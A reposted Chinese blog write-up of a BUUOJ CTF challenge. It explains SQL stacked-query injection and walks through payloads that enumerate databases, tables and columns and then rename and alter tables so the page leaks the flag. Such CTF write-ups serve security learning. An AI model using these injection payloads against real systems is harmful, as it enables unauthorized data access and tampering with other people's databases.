首页 > 数据库技术 > 详细

一道ctf题目学会sql堆叠注入以及拿flag的骚姿势

时间:2019-12-01 00:25:20      阅读:238      评论:0      收藏:0      [点我收藏+]

0x00:写在前面

题目来源:https://buuoj.cn/challenges

参考wp:https://blog.csdn.net/qq_26406447/article/details/90643951

0x01:堆叠注入

原理很简单,就是个;分隔,成堆的执行sql语句,例如

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够~

虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

0x02:wp~

打开题目,单引号轻而易举的报错

技术分享图片

 

 正常的sql注入开始,order by 2(这里是正常的) 然后union select 1,2-- -,就触发了过滤规则

技术分享图片

 

 尝试bypass无果,然后想了各种姿势,好像都和select要扯上关系(师傅有新思路 可以评论提示一下)

这里尝试堆叠注入

1‘;show databases;

1‘;show tables;(这里因为就是选中了当前数据库,所以直接show即可)

技术分享图片

 

 

1‘;show columns from words;

技术分享图片

 

 

1‘;show columns from `1919810931114514`;

技术分享图片

 

 查看两个表的字段名字,此时我们目标就是读取1919810931114514表的flag字段,但是限制了查询语句,所以我们需要通过当前页面的select展示语句进行得到flag

在当前页面有个与数据库交互的操作。id=1,2,3

那么这里是从words表里面进行查询

前面说过 我们可以通过堆叠注入进行怎删改查,那么此时我们可以把1919810931114514改为words表,然后添加id参数,再把原先的words给改为其他

讲白了就是占别人的窝

OK 开始

mysql修改表名的操作:

把默认的words改为ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改为words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一个字段id
ALTER TABLE words ADD id int(10) DEFAULT ‘1‘;
修改words里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上语句进行堆叠:所以payload:url?=1‘;rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT ‘12‘;ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
还有种语句格式:
把默认的words改为ww
rename table words to ww;
下面就都一样

验证:

技术分享图片

 

 flag就到手了

0x03:总结

堆叠注入不难,就是这个sql注入姿势太多啦,emmm 一开始自己捣鼓好久其他的,尝试各种绕过,还是不熟悉这个~ 啧!

这题感觉这个最后拿flag的姿势很有意思,能想到的人还蛮聪明的

 

一道ctf题目学会sql堆叠注入以及拿flag的骚姿势

原文:https://www.cnblogs.com/Tkitn/p/11964240.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!